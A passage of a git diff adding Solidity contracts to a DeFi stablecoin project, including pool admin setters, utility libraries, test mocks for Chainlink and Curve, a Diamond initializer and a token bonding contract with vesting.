ubiquityPoolStorage(); + + poolStorage.poolCeilings[collateralIndex] = newCeiling; + + emit PoolCeilingSet(collateralIndex, newCeiling); + } + + /** + * @notice Sets mint and redeem price thresholds, 1_000_000 = $1.00 + * @param newMintPriceThreshold New mint price threshold + * @param newRedeemPriceThreshold New redeem price threshold + */ + function setPriceThresholds( + uint256 newMintPriceThreshold, + uint256 newRedeemPriceThreshold + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.mintPriceThreshold = newMintPriceThreshold; + poolStorage.redeemPriceThreshold = newRedeemPriceThreshold; + + emit PriceThresholdsSet(newMintPriceThreshold, newRedeemPriceThreshold); + } + + /** + * @notice Sets a redemption delay in blocks + * @dev Redeeming is split in 2 actions: + * @dev 1. `redeemDollar()` + * @dev 2. `collectRedemption()` + * @dev `newRedemptionDelayBlocks` sets number of blocks that should be mined after which user can call `collectRedemption()` + * @param newRedemptionDelayBlocks Redemption delay in blocks + */ + function setRedemptionDelayBlocks( + uint256 newRedemptionDelayBlocks + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.redemptionDelayBlocks = newRedemptionDelayBlocks; + + emit RedemptionDelayBlocksSet(newRedemptionDelayBlocks); + } + + /** + * @notice Sets chainlink params for stable/USD price feed + * @dev Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool + * @param newPriceFeedAddress New chainlink price feed address for stable/USD pair + * @param newStalenessThreshold New threshold in seconds when chainlink's stable/USD price feed answer should be considered stale + */ + function setStableUsdChainLinkPriceFeed( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.stableUsdPriceFeedAddress = newPriceFeedAddress; + poolStorage + .stableUsdPriceFeedStalenessThreshold = newStalenessThreshold; + + emit StableUsdPriceFeedSet(newPriceFeedAddress, newStalenessThreshold); + } + + /** + * @notice Toggles (i.e. enables/disables) a particular collateral token + * @param collateralIndex Collateral token index + */ + function toggleCollateral(uint256 collateralIndex) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + address collateralAddress = poolStorage.collateralAddresses[ + collateralIndex + ]; + poolStorage.isCollateralEnabled[collateralAddress] = !poolStorage + .isCollateralEnabled[collateralAddress]; + + emit CollateralToggled( + collateralIndex, + poolStorage.isCollateralEnabled[collateralAddress] + ); + } + + /** + * @notice Toggles pause for mint/redeem/borrow methods + * @param collateralIndex Collateral token index + * @param toggleIndex Method index. 0 - toggle mint pause, 1 - toggle redeem pause, 2 - toggle borrow by AMO pause + */ + function toggleMintRedeemBorrow( + uint256 collateralIndex, + uint8 toggleIndex + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + if (toggleIndex == 0) + poolStorage.isMintPaused[collateralIndex] = !poolStorage + .isMintPaused[collateralIndex]; + else if (toggleIndex == 1) + poolStorage.isRedeemPaused[collateralIndex] = !poolStorage + .isRedeemPaused[collateralIndex]; + else if (toggleIndex == 2) + poolStorage.isBorrowPaused[collateralIndex] = !poolStorage + .isBorrowPaused[collateralIndex]; + + emit MintRedeemBorrowToggled(collateralIndex, toggleIndex); + } +} diff --git a/packages/contracts/src/dollar/libraries/UintUtils.sol b/packages/contracts/src/dollar/libraries/UintUtils.sol new file mode 100644 index 000000000..63702794a --- /dev/null +++ b/packages/contracts/src/dollar/libraries/UintUtils.sol @@ -0,0 +1,113 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +/** + * @title Utility functions for uint256 operations + * @dev Derived from https://github.com/OpenZeppelin/openzeppelin-contracts/ (MIT license) + * @dev https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/utils/UintUtils.sol + */ +library UintUtils { + /// @notice Thrown on insufficient hex length in `toHexString()` + error UintUtils__InsufficientHexLength(); + + /// @notice Hex symbols + bytes16 private constant HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @notice Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * + * - Addition cannot overflow. + */ + function add(uint256 a, int256 b) internal pure returns (uint256) { + return b < 0 ? sub(a, -b) : a + uint256(b); + } + + /** + * @notice Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, int256 b) internal pure returns (uint256) { + return b < 0 ? add(a, -b) : a - uint256(b); + } + + /** + * @notice Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0"; + } + + uint256 temp = value; + uint256 digits; + + while (temp != 0) { + digits++; + temp /= 10; + } + + bytes memory buffer = new bytes(digits); + + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + + return string(buffer); + } + + /** + * @notice Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + + uint256 length = 0; + + for (uint256 temp = value; temp != 0; temp >>= 8) { + unchecked { + length++; + } + } + + return toHexString(value, length); + } + + /** + * @notice Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. + */ + function toHexString( + uint256 value, + uint256 length + ) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + + unchecked { + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + } + + if (value != 0) revert UintUtils__InsufficientHexLength(); + + return string(buffer); + } +} diff --git a/packages/contracts/src/dollar/mocks/MockChainLinkFeed.sol b/packages/contracts/src/dollar/mocks/MockChainLinkFeed.sol new file mode 100644 index 000000000..872b7ab87 --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockChainLinkFeed.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {AggregatorV3Interface} from "@chainlink/interfaces/AggregatorV3Interface.sol"; + +contract MockChainLinkFeed is AggregatorV3Interface { + uint80 roundId; + int256 answer; + uint256 startedAt; + uint256 updatedAt; + uint80 answeredInRound; + + uint8 public decimals; + + constructor() { + roundId = 0; + answer = 0; + startedAt = block.timestamp; + updatedAt = block.timestamp; + answeredInRound = 0; + decimals = 8; + } + + function description() external pure override returns (string memory) { + return "mock ChainLink data feed"; + } + + function version() external pure override returns (uint256) { + return 1; + } + + function getRoundData( + uint80 + ) + external + view + override + returns (uint80, int256, uint256, uint256, uint80) + { + return (roundId, answer, startedAt, updatedAt, answeredInRound); + } + + function latestRoundData() + external + view + override + returns (uint80, int256, uint256, uint256, uint80) + { + return (roundId, answer, startedAt, updatedAt, answeredInRound); + } + + function updateDecimals(uint8 _newDecimals) public { + decimals = _newDecimals; + } + + function updateMockParams( + uint80 _roundId, + int256 _answer, + uint256 _startedAt, + uint256 _updatedAt, + uint80 _answeredInRound + ) public { + roundId = _roundId; + answer = _answer; + startedAt = _startedAt; + updatedAt = _updatedAt; + answeredInRound = _answeredInRound; + } +} diff --git a/packages/contracts/src/dollar/mocks/MockCurveFactory.sol b/packages/contracts/src/dollar/mocks/MockCurveFactory.sol new file mode 100644 index 000000000..968d50159 --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockCurveFactory.sol @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveFactory} from "../../dollar/interfaces/ICurveFactory.sol"; +import {MockCurveStableSwapMetaNG} from "../../dollar/mocks/MockCurveStableSwapMetaNG.sol"; + +contract MockCurveFactory is ICurveFactory { + // solhint-disable-next-line no-empty-blocks + function deploy_metapool( + address _base_pool, + string memory /* _name */, + string memory /* _symbol */, + address _coin, + uint256 /* _A */, + uint256 /* _fee */ + ) external returns (address) { + MockCurveStableSwapMetaNG metaPoolAddress = new MockCurveStableSwapMetaNG( + _coin, + MockCurveStableSwapMetaNG(_base_pool).coins(1) + ); + return address(metaPoolAddress); + } + + function find_pool_for_coins( + address _from, + address _to + ) external view returns (address) {} + + function find_pool_for_coins( + address _from, + address _to, + uint256 i + ) external view returns (address) {} + + function get_n_coins( + address _pool + ) external view returns (uint256, uint256) {} + + function get_coins( + address _pool + ) external view returns (address[2] memory) {} + + function get_underlying_coins( + address _pool + ) external view returns (address[8] memory) {} + + function get_decimals( + address _pool + ) external view returns (uint256[2] memory) {} + + function get_underlying_decimals( + address _pool + ) external view returns (uint256[8] memory) {} + + function get_rates( + address _pool + ) external view returns (uint256[2] memory) {} + + function get_balances( + address _pool + ) external view returns (uint256[2] memory) {} + + function get_underlying_balances( + address _pool + ) external view returns (uint256[8] memory) {} + + function get_A(address _pool) external view returns (uint256) {} + + function get_fees(address _pool) external view returns (uint256, uint256) {} + + function get_admin_balances( + address _pool + ) external view returns (uint256[2] memory) {} + + function get_coin_indices( + address _pool, + address _from, + address _to + ) external view returns (int128, int128, bool) {} + + function add_base_pool( + address _base_pool, + address _metapool_implementation, + address _fee_receiver + ) external {} + + function commit_transfer_ownership(address addr) external {} + + function accept_transfer_ownership() external {} + + function set_fee_receiver( + address _base_pool, + address _fee_receiver + ) external {} + + function convert_fees() external returns (bool) {} + + function admin() external view returns (address) {} + + function future_admin() external view returns (address) {} + + function pool_list(uint256 arg0) external view returns (address) {} + + function pool_count() external view returns (uint256) {} + + function base_pool_list(uint256 arg0) external view returns (address) {} + + function base_pool_count() external view returns (uint256) {} + + function fee_receiver(address arg0) external view returns (address) {} +} diff --git a/packages/contracts/src/dollar/mocks/MockCurveStableSwapMetaNG.sol b/packages/contracts/src/dollar/mocks/MockCurveStableSwapMetaNG.sol new file mode 100644 index 000000000..7cc0092b8 --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockCurveStableSwapMetaNG.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveStableSwapMetaNG} from "../interfaces/ICurveStableSwapMetaNG.sol"; +import {MockERC20} from "./MockERC20.sol"; + +contract MockCurveStableSwapMetaNG is ICurveStableSwapMetaNG, MockERC20 { + address token0; + address token1; + address[2] public coins; + uint256 priceOracle = 1e18; + + constructor(address _token0, address _token1) MockERC20("Mock", "MCK", 18) { + coins[0] = _token0; + coins[1] = _token1; + } + + function add_liquidity( + uint256[2] memory _amounts, + uint256 _min_mint_amount, + address _receiver + ) public returns (uint256 result) { + mint( + _receiver, + _min_mint_amount == 0 + ? _amounts[0] > _amounts[1] ? _amounts[0] : _amounts[1] + : _min_mint_amount + ); + return result; + } + + function balances(uint256 /* i */) external pure returns (uint256) { + return 0; + } + + function calc_token_amount( + uint256[2] memory _amounts, + bool /* _is_deposit */ + ) external pure returns (uint256) { + return _amounts[0] > _amounts[1] ? _amounts[0] : _amounts[1]; + } + + function exchange( + int128 /* i */, + int128 /* j */, + uint256 /* dx */, + uint256 /* min_dy */ + ) external pure returns (uint256) { + return 0; + } + + function price_oracle(uint256 /* i */) external view returns (uint256) { + return priceOracle; + } + + function remove_liquidity_one_coin( + uint256 /* _burn_amount */, + int128 /* i */, + uint256 /* _min_received */ + ) external pure returns (uint256) { + return 0; + } + + function updateMockParams(uint256 _priceOracle) public { + priceOracle = _priceOracle; + } +} diff --git a/packages/contracts/src/dollar/mocks/MockCurveStableSwapNG.sol b/packages/contracts/src/dollar/mocks/MockCurveStableSwapNG.sol new file mode 100644 index 000000000..9fe6d1c18 --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockCurveStableSwapNG.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveStableSwapNG} from "../interfaces/ICurveStableSwapNG.sol"; +import {MockCurveStableSwapMetaNG} from "./MockCurveStableSwapMetaNG.sol"; + +contract MockCurveStableSwapNG is + ICurveStableSwapNG, + MockCurveStableSwapMetaNG +{ + constructor( + address _token0, + address _token1 + ) MockCurveStableSwapMetaNG(_token0, _token1) {} + + function add_liquidity( + uint256[] memory _amounts, + uint256 _min_mint_amount, + address _receiver + ) external returns (uint256 result) { + uint256[2] memory amounts = [_amounts[0], _amounts[1]]; + return add_liquidity(amounts, _min_mint_amount, _receiver); + } +} diff --git a/packages/contracts/src/dollar/mocks/MockCurveTwocryptoOptimized.sol b/packages/contracts/src/dollar/mocks/MockCurveTwocryptoOptimized.sol new file mode 100644 index 000000000..d03c66fa8 --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockCurveTwocryptoOptimized.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveTwocryptoOptimized} from "../interfaces/ICurveTwocryptoOptimized.sol"; +import {MockCurveStableSwapMetaNG} from "./MockCurveStableSwapMetaNG.sol"; + +contract MockCurveTwocryptoOptimized is + ICurveTwocryptoOptimized, + MockCurveStableSwapMetaNG +{ + constructor( + address _token0, + address _token1 + ) MockCurveStableSwapMetaNG(_token0, _token1) {} + + function price_oracle() external view returns (uint256) { + return priceOracle; + } +} diff --git a/packages/contracts/src/dollar/mocks/MockERC20.sol b/packages/contracts/src/dollar/mocks/MockERC20.sol new file mode 100644 index 000000000..99b0ee815 --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockERC20.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: AGPL-3.0-only +pragma solidity 0.8.19; + +import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract MockERC20 is ERC20 { + uint8 internal __decimals; + + constructor( + string memory _name, + string memory _symbol, + uint8 _decimals + ) ERC20(_name, _symbol) { + __decimals = _decimals; + } + + function mint(address to, uint256 value) public virtual { + _mint(to, value); + } + + function burn(address from, uint256 value) public virtual { + _burn(from, value); + } + + function decimals() public view virtual override returns (uint8) { + return __decimals; + } +} diff --git a/packages/contracts/src/dollar/mocks/MockFacet.sol b/packages/contracts/src/dollar/mocks/MockFacet.sol new file mode 100644 index 000000000..53c8093ad --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockFacet.sol @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {LibDiamond} from "../libraries/LibDiamond.sol"; + +interface IMockFacet { + function functionA() external returns (uint256); + function functionB() external returns (uint256); +} + +struct NewSimpleStorage { + uint256 slot1; +} + +struct NewStorageExtended { + uint256 slot1; + uint256 slot2; +} + +bytes32 constant NEW_STORAGE_POSITION = keccak256( + "ubiquity.contracts.mock.storage" +); + +contract MockFacetInitializer { + function initialize() external { + NewStorageExtended storage newStorage; + bytes32 position = NEW_STORAGE_POSITION; + assembly { + newStorage.slot := position + } + newStorage.slot1 = 2; + newStorage.slot2 = 22; + } + + function initializeRevert() external pure returns (uint256) { + revert(); + } + + function initializeRevertWithMessage() external pure returns (uint256) { + revert("MockFacetError"); + } +} + +contract MockFacetWithPureFunctions is IMockFacet { + function functionA() external pure returns (uint256) { + return 1; + } + + function functionB() external pure returns (uint256) { + return 2; + } +} + +contract MockFacetWithStorageWriteFunctions is IMockFacet { + function functionA() external view returns (uint256) { + NewSimpleStorage storage newStorage; + bytes32 position = NEW_STORAGE_POSITION; + assembly { + newStorage.slot := position + } + return newStorage.slot1; + } + + function functionB() external returns (uint256) { + NewSimpleStorage storage newStorage; + bytes32 position = NEW_STORAGE_POSITION; + assembly { + newStorage.slot := position + } + newStorage.slot1 = 1; + return newStorage.slot1; + } +} + +contract MockFacetWithExtendedStorageWriteFunctions is IMockFacet { + function functionA() external view returns (uint256) { + NewStorageExtended storage newStorage; + bytes32 position = NEW_STORAGE_POSITION; + assembly { + newStorage.slot := position + } + return newStorage.slot1; + } + + function functionB() external view returns (uint256) { + NewStorageExtended storage newStorage; + bytes32 position = NEW_STORAGE_POSITION; + assembly { + newStorage.slot := position + } + return newStorage.slot2; + } +} diff --git a/packages/contracts/src/dollar/mocks/MockShareV1.sol b/packages/contracts/src/dollar/mocks/MockShareV1.sol new file mode 100644 index 000000000..9d13ed87e --- /dev/null +++ b/packages/contracts/src/dollar/mocks/MockShareV1.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {StakingShare} from "../../../src/dollar/core/StakingShare.sol"; + +contract BondingShare is StakingShare { + // solhint-disable-next-line no-empty-blocks + constructor() { + _disableInitializers(); + } + + function initialize( + address _manager, + string memory uri + ) public override initializer { + __ERC1155Ubiquity_init(_manager, uri); + } + + function hasUpgraded() public pure virtual returns (bool) { + return true; + } + + function getVersion() public view virtual returns (uint8) { + return super._getInitializedVersion(); + } + + function getImpl() public view virtual returns (address) { + return super._getImplementation(); + } +} diff --git a/packages/contracts/src/dollar/upgradeInitializers/DiamondInit.sol b/packages/contracts/src/dollar/upgradeInitializers/DiamondInit.sol new file mode 100644 index 000000000..814419183 --- /dev/null +++ b/packages/contracts/src/dollar/upgradeInitializers/DiamondInit.sol @@ -0,0 +1,104 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibDiamond} from "../libraries/LibDiamond.sol"; +import {IDiamondLoupe} from "../interfaces/IDiamondLoupe.sol"; +import {IDiamondCut} from "../interfaces/IDiamondCut.sol"; +import {IERC173} from "../interfaces/IERC173.sol"; +import "../libraries/LibAppStorage.sol"; +import "../libraries/LibAccessControl.sol"; +import {UbiquityDollarToken} from "../core/UbiquityDollarToken.sol"; +import {UbiquityGovernanceToken} from "../core/UbiquityGovernanceToken.sol"; +import "@openzeppelin/contracts/interfaces/IERC165.sol"; +import {LibStaking} from "../libraries/LibStaking.sol"; +import {LibChef} from "../libraries/LibChef.sol"; +import {LibCreditNftManager} from "../libraries/LibCreditNftManager.sol"; +import {LibCreditRedemptionCalculator} from "../libraries/LibCreditRedemptionCalculator.sol"; +import {LibUbiquityPool} from "../libraries/LibUbiquityPool.sol"; + +/** + * @notice It is expected that this contract is customized if you want to deploy your diamond + * with data from a deployment script. Use the init function to initialize state variables + * of your diamond. Add parameters to the init function if you need to. + * + * @notice How it works: + * 1. New `Diamond` contract is created + * 2. Inside the diamond's constructor there a `delegatecall()` to `DiamondInit` with the provided args + * 3. `DiamondInit` updates diamond storage + */ +contract DiamondInit is Modifiers { + /// @notice Struct used for diamond initialization + struct Args { + address admin; + address[] tos; + uint256[] amounts; + uint256[] stakingShareIDs; + uint256 governancePerBlock; + uint256 creditNftLengthBlocks; + } + + /** + * @notice Initializes a diamond with state variables + * @dev You can add parameters to this function in order to pass in data to set your own state variables + * @param _args Init args + */ + function init(Args memory _args) external { + // adding ERC165 data + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + ds.supportedInterfaces[type(IERC165).interfaceId] = true; + ds.supportedInterfaces[type(IDiamondCut).interfaceId] = true; + ds.supportedInterfaces[type(IDiamondLoupe).interfaceId] = true; + ds.supportedInterfaces[type(IERC173).interfaceId] = true; + + LibAccessControl.grantRole(DEFAULT_ADMIN_ROLE, _args.admin); + LibAccessControl.grantRole(GOVERNANCE_TOKEN_MINTER_ROLE, _args.admin); + LibAccessControl.grantRole(GOVERNANCE_TOKEN_BURNER_ROLE, _args.admin); + LibAccessControl.grantRole(CREDIT_TOKEN_MINTER_ROLE, _args.admin); + LibAccessControl.grantRole(CREDIT_TOKEN_BURNER_ROLE, _args.admin); + LibAccessControl.grantRole(DOLLAR_TOKEN_MINTER_ROLE, _args.admin); + LibAccessControl.grantRole(DOLLAR_TOKEN_BURNER_ROLE, _args.admin); + LibAccessControl.grantRole(PAUSER_ROLE, _args.admin); + LibAccessControl.grantRole(CREDIT_NFT_MANAGER_ROLE, _args.admin); + LibAccessControl.grantRole(STAKING_MANAGER_ROLE, _args.admin); + LibAccessControl.grantRole(INCENTIVE_MANAGER_ROLE, _args.admin); + LibAccessControl.grantRole(GOVERNANCE_TOKEN_MANAGER_ROLE, _args.admin); + + AppStorage storage appStore = LibAppStorage.appStorage(); + + appStore.paused = false; + appStore.treasuryAddress = _args.admin; + // staking + LibStaking.StakingData storage ls = LibStaking.stakingStorage(); + ls.stakingDiscountMultiplier = uint256(0.001 ether); // 0.001 + ls.blockCountInAWeek = 49930; + + // reentrancy guard + _initReentrancyGuard(); + + // ubiquity chef before doing that we should have a metapool address + LibChef.initialize( + _args.tos, + _args.amounts, + _args.stakingShareIDs, + _args.governancePerBlock + ); + // creditNftManager + /// @param _creditNftLengthBlocks how many blocks Credit NFT last. can't be changed + /// once set (unless migrated) + LibCreditNftManager.creditNftStorage().creditNftLengthBlocks = _args + .creditNftLengthBlocks; + LibCreditNftManager + .creditNftStorage() + .expiredCreditNftConversionRate = 2; + + LibCreditRedemptionCalculator + .creditRedemptionCalculatorStorage() + .coef = 1 ether; + // add your own state variables + // EIP-2535 specifies that the `diamondCut` function takes two optional + // arguments: address _init and bytes calldata _calldata + // These arguments are used to execute an arbitrary function using delegatecall + // in order to set state variables in the diamond during deployment or an upgrade + // More info here: https://eips.ethereum.org/EIPS/eip-2535#diamond-interface + } +} diff --git a/packages/contracts/src/dollar/utils/SafeAddArray.sol b/packages/contracts/src/dollar/utils/SafeAddArray.sol new file mode 100644 index 000000000..5f5b14246 --- /dev/null +++ b/packages/contracts/src/dollar/utils/SafeAddArray.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +/** + * @notice Wrappers over Solidity's array push operations with added check + */ +library SafeAddArray { + /** + * @notice Adds `value` to `array` + * @param array Array to modify + * @param value Value to add + */ + function add(uint256[] storage array, uint256 value) internal { + // slither-disable-next-line uninitialized-local + for (uint256 i; i < array.length; i++) { + if (array[i] == value) { + return; + } + } + array.push(value); + } + + /** + * @notice Adds `values` to `array` + * @param array Array to modify + * @param values Array of values to add + */ + function add(uint256[] storage array, uint256[] memory values) internal { + // slither-disable-next-line uninitialized-local + for (uint256 i; i < values.length; ) { + bool exist = false; + for (uint256 j = 0; j < array.length; j++) { + if (array[j] == values[i]) { + exist = true; + break; + } + } + if (!exist) { + array.push(values[i]); + } + unchecked { + ++i; + } + } + } +} diff --git a/packages/contracts/src/ubiquistick/SimpleBond.sol b/packages/contracts/src/ubiquistick/SimpleBond.sol new file mode 100644 index 000000000..759ec85e8 --- /dev/null +++ b/packages/contracts/src/ubiquistick/SimpleBond.sol @@ -0,0 +1,282 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "@openzeppelin/contracts/security/Pausable.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "./interfaces/ISimpleBond.sol"; +import "./interfaces/IUAR.sol"; + +/// @title Simple Bond +/// @author zapaz.eth +/// @notice SimpleBond is a simple Bond mechanism, allowing to sell tokens bonded and get rewards tokens +/// @notice The reward token is fully claimable only after the vesting period +/// @dev Bond is Ownable, access controlled by onlyOwner +/// @dev Use SafeERC20 +contract SimpleBond is ISimpleBond, Ownable, Pausable { + using SafeERC20 for IERC20; + + struct Bond { + address token; + uint256 amount; + uint256 rewards; + uint256 claimed; + uint256 block; + } + + /// @notice Rewards token address + address public immutable tokenRewards; + + /// @notice Rewards ratio for token bonded + /// @dev rewardsRatio is per billion of token bonded + mapping(address => uint256) public rewardsRatio; + + /// @notice Vesting period + /// @dev defined in number of block + uint256 public vestingBlocks; + + /// @notice Bonds for each address + /// @dev bond index starts at 0 for each address + mapping(address => Bond[]) public bonds; + + /// @notice Total rewards + uint256 public totalRewards; + + /// @notice Total rewards claimed + uint256 public totalClaimedRewards; + + /// @notice Treasury address + address public treasury; + + /// NFT stick address + address public sticker; + + /// @notice onlySticker : no NFT stick address defined OR sender has at least one NFT Stick + modifier onlySticker() { + require( + sticker == address(0) || IERC721(sticker).balanceOf(msg.sender) > 0, + "Not NFT Stick owner" + ); + _; + } + + /// @notice Set sticker + /// @param sticker_ sticker boolean + function setSticker(address sticker_) public override onlyOwner { + sticker = sticker_; + } + + /// Simple Bond constructor + /// @param tokenRewards_ Rewards token address + /// @param vestingBlocks_ Vesting duration in blocks + constructor( + address tokenRewards_, + uint256 vestingBlocks_, + address treasury_ + ) { + require(tokenRewards_ != address(0), "Invalid Reward token"); + tokenRewards = tokenRewards_; + setVestingBlocks(vestingBlocks_); + setTreasury(treasury_); + } + + /// @notice Set Rewards for specific Token + /// @param token token address + /// @param tokenRewardsRatio rewardsRatio for this token + function setRewards( + address token, + uint256 tokenRewardsRatio + ) public override onlyOwner { + require(token != address(0), "Invalid Reward token"); + rewardsRatio[token] = tokenRewardsRatio; + + emit LogSetRewards(token, tokenRewardsRatio); + } + + /// @notice Set vesting duration + /// @param vestingBlocks_ vesting duration in blocks + function setVestingBlocks( + uint256 vestingBlocks_ + ) public override onlyOwner { + require(vestingBlocks_ > 0, "Invalid Vesting blocks number"); + vestingBlocks = vestingBlocks_; + } + + /// @notice Set treasury address + /// @param treasury_ treasury address + function setTreasury(address treasury_) public override onlyOwner { + require(treasury_ != address(0), "Invalid Treasury address"); + treasury = treasury_; + } + + /// @notice Pause Bonding and Claiming + function pause() public override onlyOwner { + _pause(); + } + + /// @notice Unpause Bonding and Claiming + function unpause() public override onlyOwner { + _unpause(); + } + + /// @notice Bond tokens + /// @param token bonded token address + /// @param amount amount of token to bond + /// @return bondId Bond id + function bond( + address token, + uint256 amount + ) public override whenNotPaused onlySticker returns (uint256 bondId) { + require(rewardsRatio[token] > 0, "Token not allowed"); + + // @dev throws if not enough allowance or tokens for address + // @dev must set token allowance for this smart contract previously + IERC20(token).safeTransferFrom(msg.sender, address(this), amount); + + Bond memory bondState = Bond({ + token: token, + amount: amount, + block: block.number, + rewards: 0, + claimed: 0 + }); + + uint256 rewards = (amount * rewardsRatio[token]) / 1_000_000_000; + bondState.rewards = rewards; + totalRewards += rewards; + + bondId = bonds[msg.sender].length; + bonds[msg.sender].push(bondState); + + emit LogBond( + msg.sender, + bondState.token, + bondState.amount, + bondState.rewards, + bondState.block, + bondId + ); + } + + /// @notice Claim all rewards + /// @return claimed Rewards claimed successfully + function claim() public override whenNotPaused returns (uint256 claimed) { + for ( + uint256 index = 0; + (index < bonds[msg.sender].length); + index += 1 + ) { + claimed += claimBond(index); + } + } + + /// @notice Claim bond rewards + /// @return claimed Rewards claimed successfully + function claimBond( + uint256 index + ) public override whenNotPaused returns (uint256 claimed) { + Bond storage bondState = bonds[msg.sender][index]; + uint256 claimAmount = _bondClaimableRewards(bondState); + + if (claimAmount > 0) { + bondState.claimed += claimAmount; + totalClaimedRewards += claimAmount; + + assert(bondState.claimed <= bondState.rewards); + IUAR(tokenRewards).raiseCapital(claimAmount); + //slither-disable-next-line arbitrary-send-erc20 + IERC20(tokenRewards).safeTransferFrom( + treasury, + msg.sender, + claimAmount + ); + } + + emit LogClaim(msg.sender, index, claimed); + } + + /// @notice Withdraw token from the smart contract, only for owner + /// @param token token withdraw + /// @param amount amount withdraw + function withdraw(address token, uint256 amount) public override onlyOwner { + IERC20(token).safeTransfer(treasury, amount); + } + + /// @notice Bond rewards balance: amount and already claimed + /// @return rewards Amount of rewards + /// @return rewardsClaimed Amount of rewards already claimed + /// @return rewardsClaimable Amount of still claimable rewards + function rewardsOf( + address addr + ) + public + view + override + returns ( + uint256 rewards, + uint256 rewardsClaimed, + uint256 rewardsClaimable + ) + { + for (uint256 index = 0; index < bonds[addr].length; index += 1) { + ( + uint256 bondRewards, + uint256 bondClaimedRewards, + uint256 bondClaimableRewards + ) = rewardsBondOf(addr, index); + rewards += bondRewards; + rewardsClaimed += bondClaimedRewards; + rewardsClaimable += bondClaimableRewards; + } + } + + /// @notice Bond rewards balance: amount and already claimed + /// @return rewards Amount of rewards + /// @return rewardsClaimed Amount of rewards already claimed + /// @return rewardsClaimable Amount of still claimable rewards + function rewardsBondOf( + address addr, + uint256 index + ) + public + view + override + returns ( + uint256 rewards, + uint256 rewardsClaimed, + uint256 rewardsClaimable + ) + { + Bond memory bondState = bonds[addr][index]; + rewards = bondState.rewards; + rewardsClaimed = bondState.claimed; + rewardsClaimable = _bondClaimableRewards(bondState); + } + + /// @notice Get number of bonds for address + /// @return number of bonds + function bondsCount(address addr) public view override returns (uint256) { + return bonds[addr].length; + } + + /// @dev calculate claimable rewards during vesting period, or all claimable rewards after, minus already claimed + function _bondClaimableRewards( + Bond memory bondState + ) internal view returns (uint256 claimable) { + assert(block.number >= bondState.block); + + uint256 blocks = block.number - bondState.block; + uint256 totalClaimable; + + if (blocks < vestingBlocks) { + totalClaimable = (bondState.rewards * blocks) / vestingBlocks; + } else { + totalClaimable = bondState.rewards; + } + + assert(totalClaimable >= bondState.claimed); + claimable = totalClaimable - bondState.claimed; + } +} diff --git a/packages/contracts/dollar/contracts/SushiSwapPool.sol b/packages/contracts/src/ubiquistick/SushiSwapPool.sol similarity index 69% rename from packages/contracts/dollar/contracts/SushiSwapPool.sol rename to packages/contracts/src/ubiquistick/SushiSwapPool.sol index c9853a1c3..105f969dc 100644 --- a/packages/contracts/dollar/contracts/SushiSwapPool.sol +++ b/packages/contracts/src/ubiquistick/SushiSwapPool.sol @@ -1,26 +1,26 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity 0.8.19; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; +import {IUbiquityDollarManager} from "../dollar/interfaces/IUbiquityDollarManager.sol"; contract SushiSwapPool { - IUniswapV2Factory public factory = + 